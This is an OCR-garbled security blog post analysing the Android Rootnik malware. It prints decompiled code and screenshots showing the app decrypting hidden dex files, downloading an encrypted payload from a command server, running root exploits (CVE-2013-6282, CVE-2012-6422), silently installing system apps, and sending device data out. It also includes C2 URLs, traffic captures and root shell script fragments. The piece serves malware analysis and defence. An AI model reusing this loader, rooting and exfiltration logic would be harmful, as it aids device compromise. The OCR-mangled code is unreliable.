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Deep Analysis of Android Rootnik Malware Using Advanced Anti-
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By Kai Lu
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In part I of this blog we finished the analysis of the native layer and got the decrypted secondary dex file. Here in
part IT we will continue to analyze it. For the sake of continuity, we will maintain continuous section and figure

numbers from part I of the blog.

IV. The secondary dex file

The following is the decrypted file, which is a jar format file. It is loaded dynamically as the secondary dex via

multidex scheme.

decrypt.dump @

¥ Edit As: Hex ™ Run Script = Run Template *
. 3 4

0000h: ]
A BCco 00 00 00 00 00 00 00 00 00 OB 00 f oo 63 ecOil. . .... ..
0020h: ] & 65 . 0« .

0030h:
0040h:
0050h:
00&60h:
0070h:
0080h:
0050h:
00A0h:
O0EOh:
00COh:
00DO0Oh:
0OO0EOQh:
00FOh:
0100h:
0110h:
0120h:
0130h:
0140h:
0150h:
01&60h:
0170h:
0180h:
0150h:
012a0h:
01BOh:
01C0h:
01D0h:
01EOQh:
01F0Oh:

W oo O b

L1]
B
A
g
&6
=5
8
-
1
3 0
Cf

mom

¥ L
Start: 0 [Oh] Sel: 603830 [94A3ER] | Size: H0BES0]

Figure 25. The decrypted secondary apk file containing the dex file

After decompressing the file “decrypt.dump,” you can now see a file named “classes.dex” located in the folder.
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» case® » decrypt

s

Mame N Size Type

| | classes.dex 1452 KB DEXFile

Next, let’s analyze the classes.dex.

92 dlasses.dex
- Source code
- 2 android
- com
£ android. volley
-3 bangde.everisk
£ hg.mer
(3 Main
{049 Nws ]
[0 pC |
@@ Pis
@ Sheu
£} nhaarman.listviewanimations
1 nostra13.universalimageloader
-3 pyxx deanmaster.widget. textcount
- sd.dip
= 83 activity

t -(® FileManager Activity I

£ adapter
- £ base
- £ bean
7 cast
B db
- £ enums
#in
- 3 update
- 88 urr
£ util
- £ view
-3 umeng.analytics
£ 3 web.sdfile
@ BuildConfig
=@ R
- 83 u.aly

Figure 27. Decompile the secondary dex file and AndroidManifest.xml file
From above figure, we can see that classes.dex is the main logic of the malware app named “file Helper”

The following is the function “onCreate” in class com.sd.clip.activity. FileManagerActivity.

protected woid onCreate (B e arg2) |
super.onCreate (arg2) ;
this.com sec _plugin action AFF STARTED RISK():
this.setContentView (2130903043) ;
this.initView():
this.addListeners():
this.initzData();

Figure 28. The function onCreate in class FileManagerActivity

private woid Iinit.a:jv{:l 1
Hwa.getStart (((Context)this));

Figure 29. The function initadv()
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package com.hg.mer;

import android.content.BroadcastReceiver;
import android.content.Context:
import android.content.Intent;

public class Nwa extends BroadcastReceiver [
public Nwa({) {

super{):
}
public static woid getStart (Context arg?) |
arg2.startService(new Intent({arg2, PG.class)):
1

public void onReceiwve (Context arg3, Intent argd) |

FrgE.sfarEEerv1ceinew THLENL (213, FG-c1ass))r]

}

Figure 30. The class Nws

The function getStart in class Nws is then used to start the service com.hg.mer.PG. The following is the definition
of class PG.

package com.hg.mer;

import ar
import ar
import
import

wClassLeaders?

public class PG extends IntentSerwice [

private static DexClassLoader classloader;
public static Context kobs;

public BG() {
super ("");
t

public woid onCreate({) {

PG.kobs = {{Context)this);
2. File vl = Pla.dxfile({PG.kobs, Pls.Ebin}: // Pla.Ebin=wddex.jar
3 15.getDir(F15.00, 0).gethbooluteFatn (), null, this.getClassloader(1]; // Fla.0l-xdt]

.classloader = new

if{wvl.exists()) {
v0.delete();
}
t

protected void onHandleIntent {(Intent arg?) {
try_{
4. Class v0 = PG.classLoader.loadClass(Pls.PL); // Fls.PL=com.svg.cvo.Rtow
v0.getMethod (Fls.Jr, Context.class).invoke (vO.newInstance(), PG.kobs) :| /f Pls.dr=getDex

}
catch (Exception wl) {
}

Figure 31. The service class com.hg.mer.PG

After the function startService() is invoked, the function onCreate() is then invoked, followed by invoking the
function onHandlelIntent(). In the above figure, we marked four lines of the key code in red, and then analyzed

them in order.
1. readDex()

The following is the snippet code in function readDex().
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public static void readDex{Context argl3) {
DataInputStream vid;
String v9; // KK.bin, Sheu class is a basef4 class
InputStream vl0 = null;
DataInputStream v3 = null;
BufferedfutputStream vl = null;
Pls.LSB.clear({):
try {
v9 = new String(Sheu.decode("S0su¥fmlu")); // EK.bin, Sheu class i3 a basefd class
goto label 107
}
catch(Throwable w12} {
}
catch (Exception v5) {
goto label 43;
try {
label 10:
[FIT = argla.gethssets () .open(val: |

vd = new DatalnputStream(vl0);

}

catch {Throwable w12} {
goto label &1;

}

catch (Exception v5) |
goto label_43;

}

try {

[PX. ceadlong 11

wd.readlong () »

[vd . readDouble () ¢

jvd . readFloat () ;

[vd.read (new byte[vd.readInt{)]):

[vd.readIntc();

[BufferedReader v2 = new BufferedReader(new InputStreamBeader(((InputStream)v4)}));

String wll;

for(vll = vZ.readlLine(); w11 != null; v11 = v2.readlLine()) [
Pla.L5B.add (w11}

}

Pls.getkppid():

Figure 32. The function readDex()

Based on my analysis, the class Sheu is a base64 implementation class, so the result of Sheu.decode("SOsuYmlu")
is the string “KK.bin”. Next, the program opens the file KK.bin in its assets folder and reads its content to extract

some useful info.

The following is the file content of KK.bin:

decrypt.dump © KK.bin (&

Edit As: Hex ¥ Run Script = Run Template *

0 1 2 3 4 5 & 7T 8 % A B C D E F 0123456 T80ABCDEF

0000h: 00 00 00 0O 00 00 1D 4D 00 00 00 00 00 00 15 F&8 ....... W50 v z
0010h: 40 91 A4 99 99 98 99 SA 44 €3 &F B3 @ eeeazne > [R
0020n: 9F FE OD 32 F3 05 B4 10 68 6B ED ED 03 96 A2 93 ¥p.26.°.hkii.-e"
0030h: 2C 07 D7 OE 80 C3 09 70 CF 2E 4A 54 3E 17 BA AA  ,.x.€A.pi.J2>.es
0040h: F9 A8 34 F6 4A 87 BA FO 06 48 EB CD A6 B3 67 1B 0~ 46J+3s.H&i)2q.
0050h: 19 5A F1 BD 82 7F E8 FO 59 64 F5 3D B9 31 B4 E9 .Zfi%,.&8YdE=21"é

1CCOh: DO 37 C8 20 8B AT 37 7F FO SD 66 CB 7D 52 D9 &7 D7E <§7.5]fE)Rlg

1CDOh: WvzAd.*. ... ZGkN,
1CEOh: ErS 79 Z¥XguamFy. .eGRO. .
1CFOh: [k 32 Y29tLnN2cS55dme

L)l 5S 6E 52 76 64 7T 3D 3D . UnRwvdw==_ . Z2ZVOR

il A6 34 0D OA 63 32 64 6B S5A 58 67 3D OD O4

ikl OIS TA 4C 6D TO 68 63 &7

1D30h: gk { 0 Ymlu. .
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Figure 33. The file KK.bin in folder assets

The program could extract some content from the end of the KK.bin file. There are seven strings there encoded

using base64 that are stored in an array list. The function getAppid() is then used to decode these strings.

public static woid getippid() {
try |

Pls.kbin = new String(oheu.decode (Pls.LSH.get{0))):
Pls.0I = new String(Sheu.decode (Pls.LSB.get{1)))r
Pls.PL = new String(Sheu.decode (Pls.LSB.get{2)))r
Pls.Jr = new String(Sheu.decode (Pls.LSB.get({3)))r
Pls.Wv = new String(Sheu.decode (Pls.LSB.get({4)))r
Pls.As = new String(Sheu.decode(Pls.LSB.get(5))):
Pls.Ng = new String(Sheu.decode(Pls.LSB.get({6))):

Lo

L7 ¥ Ry ¥

}
catch (Excepticon v0) {
vi.printStackTrace();

}

Figure 34. The function getAppid()
The result of decoding these seven strings is shown below:
Pls.Kbin: wddex.jar
PIs.OlI: xdt
PIs.PL: com.svg.cvo.Rtow
Pls.Jr: getDex
Pls.Wv: sgdex
Pls.As: dos.jar
PIs.NQ: KK.bin
2 .dxfile()

The following is the code snippet of the function dxfile().
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public static File dxfile (Context argl3, String argld4) {
File v5 = new File(argl3.getDir(Pls.¥v, 0), Pls.As); // /data/data/com.web.sdfile/app sgdex/dos.jar
if{!'wd.exists()) {
try |
String v% = argl3.getFilesDir().toString();
if(!'v9.endsWith(File.separator)) |
v8 = String.valueQf(v3) + File.separator;

File v10 = new File(String.valueQf(v9) + argld); // /data/data/com.web.sdfile/files/wddex.jar
if(!'vil0.exists({)) {
| Pls.UnZipFolder (argl3, argld); |

FileInputStream v2 = new FileInputStream(vl0); [/ /data/data/com.web.sdfile/files/wddex.jar
FileQutputStream v7 = new FileQutput3tream(vs); [/ /data/data/com.web.sdfile/app sgdex/dos.jar
SecretKey vB = SecretEeyFactory.getInatance ("DES") .generateSecret (new DESKeySpec(Pls.srt.getBytes())):
Cipher w6 = Cipher.getInstance ("DES");
va.init(2, ({(Esv)vE));
Pls.deQut ( { {(InputStream)v?2), new Cipherfutput3tream(({{CutputStream)v7), ve))r

}

catch (Exception w3} [
vi.printStackIrace();
V3 = nmull;

return vs;

Figure 35. The function dxfile()

public static woid UnZipFolder(Context argld4, String arglS) {

BufferedOutputStream w2}

byte[] v3;

DataInputitream v5;

InputStream v9; // EK.bin

DatalnputStream v4 = null:

BufferedCutputStream vl = null;

try {
g argld.gethssecs () .open(Pls.NQ}): // EK.bkin
v5 = new DatalnputStream(ve):
goto label &;

}
catch (Throwakle w10) |
I
catch (Excepticn v&) |
goto label_53;
try |
label 8:
vo.readlong() ;s
v5.readLlong () »
va.readDouble ()
vS.readFloat () ;
int v7 = vo.readInt();
File v8 = new File(String.valueOf (argld4.getFilesDir().getPath(})) + File.separator + arglS):
if{vE.exista()) |
vE.delete();

}
if{!wv8.exista() || vB.length{) '= {{{long)v7))) {
¥3 = new byte[v7];
vl.createlewFile () ;
¥2 = new Bu redfutputStream(new FileQutputStream(va)):
goto label 48;
}
else |

v5.read{new byte[w7]):
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Figure 36. The function UnZipFolder()

The function Pls.UnZipFolder() extracts the encrypted content from KK.bin. The content starts at offset 0x20 and
ends at offset 0x1CDB in the file KK.bin, and then is saved as /data/data/com.web.sdfile/files/wddex.jar. Its
content is encrypted using the DES algorithm.

In the function dxfile() the program decrypts the file contents of /data/data/com.web.sdfile/files/wddex.jar to file
/data/data/com.web.sdfile/app_sgdex/dos.jar.

3 .DexClassLoader()

Its constructor is shown below:

DexClassLoader

DexClassloader (String dexPath,
String optimizedDirectory,
String librarySearchPath,
Classloader parent)

In this invocation, the value of dexPath is “/data/data/com.web.sdfile/app_sgdex/dos.jar,” and the value of

optimizedDirectory is “/data/data/com.web.sdfile/app_xdt.”

This function loads classes from the .jar and .apk files containing a classes.dex entry. This function can be used to

execute code not installed as part of an application. The optimized dex files are written in the file dos.dex in the

folder data/data/com.web.sdfile/app_xdt.

After loading classes from /data/data/com.web.sdfile/app_sgdex/dos.jar, the program deletes this file.
4. Invoke getDex() method in class com.svq.cvo.Rtow dynamically.

Next, let’s examine dos.dex.

72 dos.dex
= Source code

E- B3 com

=3 kdw.xoa

G Bow
@ Dwol
@ Mgss
=M C] Qose
=3 nvko.ideo
@ BuildConfig
@@ R
=3 svq.cvo

@ KMain

EI@ Rtow

i @ pre : SharedPreferences

[“WaetDex(Context)

Figure 37. Decompile the dex file dos.dex

The following is the function getDex in class com.svg.cvo.Rtow:
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package COM.3Vd.CVO;

import andreoid.content.Context;

import android.content.SharedPreferences;
import com.kdw.xoca.Bow:

import com.kdw.xoa.Dwol;

public class Btow [
private SharedPreferences pre;

public Rtow() [
super();

public void getDex(Context argd) |
this.pre = argS.getSharedPreferences (Bow.sName, 0): // Bow.sName="aa"
if(!Booclezn.valueQf (this.pre.getBoolean{"root", false)) . booleanValue

new Dwol (argS, Bow.Y¥tso):; // Bow.Ytsc="http://gt.rocgscbh.com/stmp/ad.png™

Figure 38. The function getDex in class com.svq.cvo.Rtow

public Dwol(Context argS, String arg6) |
super():
this.dovnloadlUrl = argh;
thiz.cxt = argh;
Ehis.dexFile = new File(this.coxt.getlilesDir(), Bow.flame): // Bow.IName="mda.ico” |
if (this.dexFile.exista(})) |
if (this.dexFile.isFile(}) {
try {
new ZipFile(this.dexFile):

}
catch (Exception vl) |
}

}
else |
this.dexFile.delete():
}
b
if (this.dexFile.exista(}) |
this.initData();
return;
b
try |
[ this.dexFile.createliewEile () |
b

catch(I0Exception w0) {
vi.printStackTrace();

}

Ithis.dnwnlnadFile{this.dexFile, this.downloadUrl); // this.dcwnlcadUr1="http:ffgt.rcgscb.ccmfstmpfad.png"l

Figure 39. The constructor of class Dwol

In the constructor of class com.kdw.xoa.Dwol, a new file mda.ico is created in folder
/data/data/com.web.sdfile/files/. It then invokes the function downloadFile to download a payload from remote
server http://gt[.]Jrogsobl[.]Jcom/stmp/ad.png, and saves it as /data/data/com.web.sdfile/files/mda.ico. The payload
is encrypted using the DES algorithm.
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public olid downloadFile (File argl0, String argll) |
byte[] v1;
int v7;
BufferedOutputStream v3:
InputStream v0;
BufferedOutputStream v2 = null;
try {
i —Ithis.requestﬂrl{argll:1
v3 = new BufferediutputStream(new FilefutputStream(argl0)):

v7 = 8192;
try {
while(true) |
label_ 35:
int v6 = v0.read(vl, 0, 8192);
if(ve <= 0) |
break;
I
{{CutputStream) v3) .write(vl, 0, wva);
}

{(CutputStream)v3) .close();
vil.close();
lthis.initlata(l? ]

Figure 40. The function downloadFile

private woid initData({) {
try |
| this.silentInstall {(Bow.Mron, null); // Bow.Mron="com.rootdex.Mainkctivicy" |

}
catch(Exception v0) |
wi.printStackIrace():

Figure 41. The function initData()

The following is the definition of the function silentInstall.
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appresslint (value={"HewApi"}) private String silentInstall({String argl%®, String arg20) {
String w9 = null;
File w12 = new File (this.cxt.getFileaDir{) + File.separator + Bow.fName); // Bow.fName="mda.ico"
if({vi2.exista()) {
if(vl2.isFile{)) {
try {
new ZipFile(vl2);
}
catch(Exception v13) [
1
}

a. IFile v1ll = Dwol.dxfile (this.cxt); // The decrypted payload is saved as /data/data,’ccm‘wab.sdfile/app_snex/dkt.jar.I
1f(vll == null && (v1Z2.existsa())) {
vlz.delete():

}
try o
b' Hgss.upZipFile(vll, this.cxt.getFilesDir() + File.separator); // decompress the decrypted paylcad dkt.jar to f:‘lata/data/ccm.web.sﬂflle/fllesI
}
catch (ICException v3) {
v5.printStackTrace();
}
catch(ZipException v5_1) {
w5_l.printStackTrace():
}

C wll.delete(); // delete /data/data/com.web.adfile/app snex/dkt.jar
vll.getParentFile() .delete(): // delete directory /data/data/com.web.sdfile/app snex/
v1l2_delete(}; delete sdatafdata/com web sdfile/files/mda.ico
String v2 = this.cxt.getFilesDir().toString();

File w10 = new File(ve, Bow.dﬂaﬁﬂ: ! oW.dbame="clajses.dex"

d. File v4 = new File(v2, Bow.Dsdex); // Bow.Dadex="wsh.jar"

if (!vl0.renameTo(vd)) |

return v9;

}

if(!'vd.exists()) [
return v9;

}

Dwol.chmod (vd.getibsolutePath{)):

String v8 = this.cxt.getDir(Bow.oDex, 0).getAbsclutePath{); // Bow.cDex="outdex™

Dol chmod{vals

DexClassloader v3 = new Z-ExClassL:ade:(v4.ger.h£nlur.el’ath(:, &, null, this.c_xt.ger.clasal.nader(::: I
vd.delete();

new File(v8, Bow.dName).delete(); // Bow.dName="classes.dex"

new File (v8).delete():

try {

Class v/ = v3.loadClass (Bow.Mron); // Bow.Mron="com.rootdex.MainActivity™

f. Method wv& = v7.getMethod (Bow.gtDex, Context.class, 5tring.class, String.class); // Bow.gtDex="getDex"™
v6.3ethccessible (true) ;

v6.invoke (v7.newInastance (), this.cxt, arg20, this.cxt.getFilesDir() + File.separator); // invoke the function getDex in class com.rootdex.MainBctivity.

e

Figure 42. The function silentInstall
The five parts marked in red in order are explained below.

1. The function dxfile of class Dwol is used to decrypt the payload /data/data/com.web.sdfile/files/mda.ico.
The decrypted payload is saved as /data/data/com.web.sdfile/app_snex/dkt.jar.
2. The function upZipFile of class Ngss is used to decompress the decrypted payload dkt.jar into the folder

/data/data/com.web.sdfile/files/. It contains the following files:

| | abc.apk 468 KB APK File
| busybox 458 KB  File
| classes.dex 22KB DEX File
| ] install-recovery.sh 1KB SH File
| | obs.apk 19KB  APK File
D png.ico 50KB lcon
[ su 33KB  File
[ su2 35KB  File
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Figure 43. The payload files

3. After decompressing, it deletes the files /data/data/com.web.sdfile/app_snex/dkt.jar and
/data/data/com.web.sdfile/files/mda.ico, and deletes the directory /data/data/com.web.sdfile/app_snex/.

4. Renames the file classes.dex to wsh.jar in folder /data/data/com.web.sdfile/files/.

5. Dynamically loads classes from /data/data/com.web.sdfile/files/wsh.jar, and the optimized directory
app_outdex stores the dex cache file as wsh.dex.

6. Invokes the function getDex in class com.rootdex.MainActivity.

Next, we will look deep into the wsh.dex, which mainly executes the root tool to root the device and install the

application in the system app folder.

22 wsh.dex
=1 Source code
E- 3 com
£ 3 rootdex
@ BuildConfig
7 (& MTKRoot
=13 MainActivity
----- o filelist : ArrayList
----- B GetActive(Context) : void
----- B deanRootData) : void
----- B copyRootTool(Context) : Boolean
----- | fetchChannel{Context) : String
----- o
----- ® getURLResponse(String) : String
m getimei(Context) : String
----- & isTablet{Context) : boolean
----- B iswifi{Context) : boolzan
----- @ onDestroy() : void
=@ R
E-E3 rootdexi.utils
-3 Fileut
i3 InputStreamUtils
G MyConst
(9 ObfuseTableBases4
=@ shellut

Figure 44. The decomple the dex file wsh.dex

The following is the definition of the function getDex of class com.rootdex.MainActivity.

public void getDex (Context argd4, String arg5, String arg6) |
if{!new File("/system/app/abc.apk").exists() && !new File("/system/priv-app/abc.apk”).exista() && !new File("/system/app/BSeting.apk”).exista() &&

d. 15 Crtive (arqd);
b‘ if{this.cupyRuur.Tuul{aLgM.bunlean'\falue{::l{

C. |new MTERoot {(argd) .runi): |
i

this.cleanRootData();

Figure 45. The function getDex in class com.rootdex.MainActivity

1. The function GetActive is used to collect device information and send it to the remote server. The URL of

remote server is http://grs[.]Jgowdsy[.]Jcom:8092/active.do . The following is a capture of the traffic:
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POST factive.do?ie=PXrkC3GKPA4KE3PXCXdl&ch=]jgml61115182&svs=4.4. 2&system=198ua=Nexus_5&pkg=com.web.sdfilediswifi=truelipad=false HTTP/1.1
User-Agent: Dalvik/1.6.8 (Linux; U; Android 4.4.2; Nexus 5 Build/KOT49H)

Host: grs.gowdsy.com:3892

Connection: Keep-Alive

Accept-Encoding: gzip

Content-Type: application/x-www-form-urlencoded

Content-Length: @

HTTP/1.1 280 0K

Server: Apache-Coyote/1.1
Content-Type: text/plain;charset=UTF-8
Content-Length: 1

Date: Wed, 18 Jan 2817 19:28:26 GMT

2]

Figure 46. The traffic of sending collected info to remote server

2. Checks if some files exist in folder /data/data/com.web.sdfile/files/ and adds their file name into an array
list it is preparing for the next step of rooting the device.

3. Executes rooting tools on the device.

Next, the function HandleRoot() is invoked in function run().

private wvoid HandleRoot () |
this.filelist = new RArraylListc():
String vl = String.valueOf (FileUtil.getInstance () .getFileaDirPath(thiz.mContext)) + File.separator;
1 f (ERIE-CopyRoetrn e o) |
[this.executeRootACt (vi] ]

}

Figure 47. The function HandleRoot()

The following is a key code snippet of the function copyRootFile.
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private boolean copyRootFile (String arg20) |
boolean v10; |‘f create the file files/pameuter.js
String v12 = MyConat.REAL ROOT; // su2
String v3 = MyConsc.RealBaok; // suc
this. filelist.add(5tring.valuelf (arg20) + v3):
boolean v% = this.commonCopyFile (v12, v3);
new File (String.valuedf{arg20) + v12).delete():
|File v2 = FileUtil.dxfile(this.mContext): // decyrpt the files/png.ico to app dex/.do |

File w{ = new File(arg20, MyComst.Res); // MyConst.Ros =.rtt
if{'wi.exista(]) |
v mdir ()
}
try {
[Fiiettiiunzip(v?, vdl; '  decompress the file aop dex/.do to foldfer files/.rtt, 1t contains root tools|chattr nia, ri,r2.r3. 74l

if(v2.exiscs()) {
vZ.delate(): // delete file a.p:.:_dexf’.:lcl

}

vZ.getParentFile () .delete(); // delete the directory app_dex.

v3 = MyConsc.ROOT SH; // MyConst.ROOT_SH =psneuter.)s

this. filelist.add (String.valueQf (arg20) + v3):

1y ¥13 = this.getRootPath(); // ignore it

1g v1l = "#1/3ysten/bin/sh\nPATH=\"'/gystem/bin\ " \nmount -o rw,remount /system\n" + arg20 + "busybox mount -o rw,remount /sy

try
¥10 -Ithis.crl:a:l:?ile[vil, w3): Jf create the file E:.l-::-"::-:ut,n::,':l
L]

Figure 48. The function copyRootFile

In this function, there are four steps.

1. FileUtil.dxfile() is used to decrypt the file /data/data/com.web.sdfile/files/png.ico and save it as the file

/data/data/com.web.sdfile/app_dex/.do.
2. FileUtil.UnZip() is used to decompress the file /data/data/com.web.sdfile/app_dex/.do into folder

/data/data/com.web.sdfile/.rtt, which is a hidden system folder that contains six ELF executables, as shown

below. It includes four root exploits r1,r2,r3,r4.

D chattr 5212015 1:27 AM File 10 KB
D nis 3/277201512:03 AM  File 22 KB
D rl 3/24/2015 7:51 PM File 28 KB
D r2 3/24/2015 7:50 PM File 14 KB
D r3 3/24/2015 7:50 PM File 18 KB
D rd 971472014 1118 AM File 14 KB

Figure 49. The root exploit executables

3. It deletes the decrypted root tools /data/data/com.web.sdfile/app_dex/.do and folder

/data/data/com.web.sdfile/app_dex.
4. It then creates a new file, psneuter.js, in folder /data/data/com.web.sdfile/files/. Its contents are shown

below.
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PATH
mount
data 'c
data 'c
datac
cat
chmod
datac
cat
chmod
data
pm inst
maunt
data 'd

|, remount

m/priv-app

m/priv-app
m/priv-app/fLuy

stem/priv-app
em/priv-app/B

tem/priv-app
all
o ro,remount

ata/com.we o ro,remount

id

Figure 50. The file psneuter.js

The function hanleOriMiddle is invoked in function executeRootAct. The following are four code snippets used to

execute root exploits via a shell command:

try |
label 164:
vlso 1 = 5tring.valueOr (argll) + MyLonst.Hos + PFlle.separator + "ra" + - F
arg?4 = ShellUtil.adbshellexecute(String.valuedf{+15 1) + arg23, 30000}
goto label 103;
}
try {
label 189
wlo_1 = oLring.valuedr (argsd) + My_Lonst.RKos + Flle.separaLor + "r4. + = o
argZ4 = 5hellUtil.adbshellexecute (String.valueOf(vl5_ 1) + arg23, 30000);
goto label 103;
}
try |
label 139:
vl5_1 = Jtring.valueOf (argl?) + MyConst.Ros + File.separator + "r2" + " -c ";
arg24 = ShellUtil.adbshellexecute (String.valueQf{vls 1) + arg23, 30000);
goto label 103;
I
try {
label 114
wla 1 = 5tring.wvaluelrf (argdl) + Mylonst.Hos + File.sgparator + "rl" + ]
arg24 = 5hellUtil.adbshellexecute (String.wvalueOf(vl5_ 1) + arg23, 30000);
goto label 103;
}

Figure 51. Execute root exploits via shell command

After investigating these executable files, I found that r3 is the MTK root scheme from the dashi root tool, the

exploits method in r4 comes from one exploit(CVE-2013-6282) of the open source project android-rooting-tools,

and the exploit method in r2 is the CVE-2012-6422 which is a root exploit on Samsung Exynos.

The function hanleOriMiddle executes root exploits and some commands via a shell command. All executed shell

commands are shown below:
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.web
.web

psneuter.js

Figure 52. All commands executed when rooting device

After successfully gaining root access, the script named psneuter.js is executed with super user privilege. The

main purpose of this script is to install root privilege applications in folder /system/priv-app/.

Later, we will investigate these two new APK files. To avoid being caught by common users, these two apps have

no icons on a victim’s device after being installed.

Additionally, the other script named rsh is then executed via a shell command.

File w6 = MIKRoot.Drshi{arg2?2);
if(ve.exista()) {
try |
ShelllUtil.adbshellexecute ("clu
ShellUtil.adbshellexecute (Str

wd 777 " + ve, 30000);
valueof{vlbj + w6, 30000);

Figure 53. Execute the script rsh via shell command

The script rsh is different, based on the Build. MANUFACTURER property. The script is shown below.

PATH em/bin"
unt , rw

f.rtt/chattr

rtt/chattr

rtt/chattr

rtt/chattr
-recovery.

m/bin/vbs

-recovery.

fchattr +ia 4
m/bin/wvbs --auto-da

Figure 54. The script rsh(1)
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PATH

rtt/chattr -3 m/etc/ -recovery.
rtt/chattr -i z

rtt/chattr

rtt/chattr

-recovery.
em/bin/.vr

tem/bin/.vr/vs

stem/.vbr

rtt/chattr
rtt/chattr
rtt/chattr
rtt/chattr
rtt/chattr

Figure 55. The script rsh(2)

V. How BSetting.apk works

As shown in Figure 50, abc.apk was dropped in the folder /system/priv-app/ and renamed to BSetting.apk, and

BSetting.apk was installed via pm.
BSetting.apk serves as a remote control service, and it fetches tasks from the remote server and performs them.

This app runs in the background and does not have a launcher icon on the device. The following is the app

information.
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(3% App info

p—4 :
fﬁf com.android.sync

version 1.0

Force stop Disable

v Show notifications

STORAGE

Total 656KB
App 480KB
Data 176KB

Clear data

12.00KB

Clear cache

LAUNCH BY DEFAULT

Figure 55. App info of BSetting.apk

The app disguises itself as an Android sync service. The decompiled structure of the apk file is shown below:
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#J abc.apk

-2 Source code

= B3 com.sfy.oyr
1@ D

'C) MyApplication

=-[M Resources

[ META-INF

- & AndroidManifest.xmi
= | assets

5 jif.png

png.ico

18 dasses.dex

Figure 56. Decompiled abc.apk

<2xml wveraion="1.0" encoding="u gmay
<manifest android:wversionCode="1" android:wversionName="1.0" package="
<uses-adk android:minSdkVersion="3" />
<application android:label=
<receiver android:name=
<intent-filter>
<action android:name=
</intent-filter>
<intent-filter>
<action android:name=
</intent-filter>
<intent-filter>
<acticn android:name=
</intent-filter>
<intent-filter>
<action android:name=
<action android:name:
«data android:scheme="gp
</intent-filter>
</receiver>
<gervice android:name=
</application>
<uses-permission android:name id.permission. INTERNET™ />
<uses-permission android:name=
<uses-permission android:name
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
</manifest>

m.br.srd™ platformBuildVersionCode="21" platformBuildVersionName="5.0.1-1624448™

android:name=

plic

droid.intent

ion.USER_FRESENI™ />

.SCREEN_OFF" />

CONNECTIVITY i

Figure 57. The AndroidMainfest.xml in abc.apk

The BroadcastReceiver com.sfy.oyr.R performs the main logic of this app.
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package com.sfy.oyr;

-BroadcastReceiver;

-Intent;

public class R extends BroadcastReceiver |
public R{) {
super();
}

public void onReceive (Context arg3, Intent argd) {
String v0 = arg4.gethAction();
if(!v0.equals ("android.intent.action.BATTERY CHANGED")) {

| D.a(arg3); // invodk doSo{) in class com.android.sync.ADBoot. |
if(!v0.equals{"android.intent.action.PACKAGE INSTALL") && !v0.equals("android.intent.action.PACEAGE ADDED")) {
Largs.startoervice (new Jntent{args, D.class)); start service D, and it invokes the method g-etjex in class c‘.c:Tn.an'i“N’l.ssfnc‘..nl.e:vlcq
return;
}
|D.a(arg4.ger.DataString(J .gubstring(8), arg3): // invoke getBDex in class ccm.and‘:cid‘3ync‘..1;33cct.|

Figure 58. The class R

The program first decrypts jif.png in the folder assets. It’s a dex file, and the program uses java reflection to load

class and invoke some methods.

We decompiled the decrypted dex file, as shown below:

2] dasses.dex

=18 Source code
=3 com

=3 android

=+ B3 moc

. @-(9 Buidconfig

=8 svnc

1-(3 ADBoot

(@ ADservice

(9 ObfuseTableBases4
@ main
- H4 rootdex
- (& MTKRoot
-3 RTool
-3 rootdexi.utils
e @ FileUti

Figure 59. Decompile classes.dex

The function launchTancTask in class ADService is used to fetch tasks from the remote server and perform them.
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private void launchTancTask({) [

this.networkTool = new NetworkTool (this.cxt):;

this.redid = null;

this.bmid = null;

this.adPkg = null;

this.taskid = null;

this.downloadtype = null;

this.task = null;

| byte[] v2 = this.networkTool.fetchTask(); |

if(v2 == mull) {
this.upgradeKey (this.editorlM, new Cbiect[]{ADService.K NEXT TIME TANC, Long.valueOf(System.currentTimeMillis({) + 3600000)});
return;

Figure 60. Fetching a task from the remote server

The traffic from fetching the task is shown below. The remote server has two domains. One is the main domain
grs[.]Jgowdsy[.]Jcom, and the other is backup domain grs[.]Jrogsob[.]Jcom. The response from the remote server is
an xml file that contains the type of task, the url used to push porn, the url of the downloading apk, and the type of

app to install, etc.

GET /getxml.do?vs=5.1&ch=jgml61115182&ie=PXrkC3GKPA4KB3PXCXdl&pkg=com.br.srd&apkDir=system_priv-appdsystem=19&ua=Nexus_5&iswifi=true&ipad=false
HTTP/1.1

User-Agent: Dalvik/1.6.8 (Linux; U; Android 4.4.2; Nexus 5 Build/KOT49H)

Host: grs.gowdsy.com:8892

Connection: Keep-Alive

Accept-Encoding: gzip

HTTP/1.1 2@8 OK

Server: Apache-Coyote/1.1
Content-Type: text/plain;charset=UTF-8
Content-Length: 756

Date: Wed, 18 Jan 2817 19:32:45 GMT

<task>silentinstall</task><isfilterbrowser>true</isfilterbrowser><browserurl>http://rubjor.com/, . M i

[ Sai i/browserurl><bookmarkname>ZHANSHI</bookmarkname><bookmarkurl>http://rubjor.com/get/ - i__ oy
_.w</bookmarkurl><bookmarkicon>http: //gt.yepodjr. com: 88/b2/icon. png</bookmarkicon><downloadurl>http: //gt.yepodir. com: SBJ’l??J’

el apk</downloadurl><taskid>66647874¢/taskid><usoft></usoftr<fail2tanc>true</fail2tanc><packagename>com.gnat.android</

packagename><titlessnowfoxfotal</title><content>snowfoxfotal</content><mainurl>qj.hoyebs.com</mainurl><backupurl>qj.hoyow.com</backupurl><time>1</

time><redid>B82894825</redid><bmid>78893318</bmid><isSys>true</isSys>

S S s

Figure 61. The traffic of fetching the task from the remote server

Depending on the type of task fetched, the app executes the task in a different way. The following is the key code
snippet:

if ffhiis. task.equals (Networklool. wanoow] {
if (!NetworkTccl.DISPLAYDORNLOAD.equals (this.dovnloadtype) s& (NetworkIccl.SILENTDOWRNLOAD.equals(this.downloadtype))) |
this.downloadhpk (this.downloadurl, v3);

}
}
else ifINEt.wDrch:Dl.SILE’..'\TTINSTALL.EQEEISithis..ta’sk!i {

this.downloadhpk (this.downloadurl, v3);

}
else iE{EetworkIcol.NcTIE.equ_als{this. task)f |
this.showNotification(this.downloadurl, v3):

}
else iElNetwc:rch:ol.NGTASK.Eﬂals{this. ‘.;ask;l I
this.statistic(-502);

}

else |
this.statistic(-500);

}

if (vS.booleanValue(}) {
long v& = 30000;
try |
Thread.sleep(vE):
}
catch(InterruptedException v8_1) {
}

this.launchTancTask():
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Figure 62. Execute the task depending on the type of task

The remote control service is capable of performing multiple malicious behaviors, including but not limited to the

following:
1. Uninstall app

It uses the utility “pm uninstall” of android system to uninstall app.

return RDService.execShellCmd(new String[] [new 5:::.—,:_|, new String(new byte[] {17, 110, 105, 110, 115, 116, 97, 108, 108§}, arg7}):
! prm < uninstall <™

Figure 63. Execute pm uninstall to uninstall app via shell command
2. Push porn

The following are some screenshots for pushed porn.
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Yes Mo

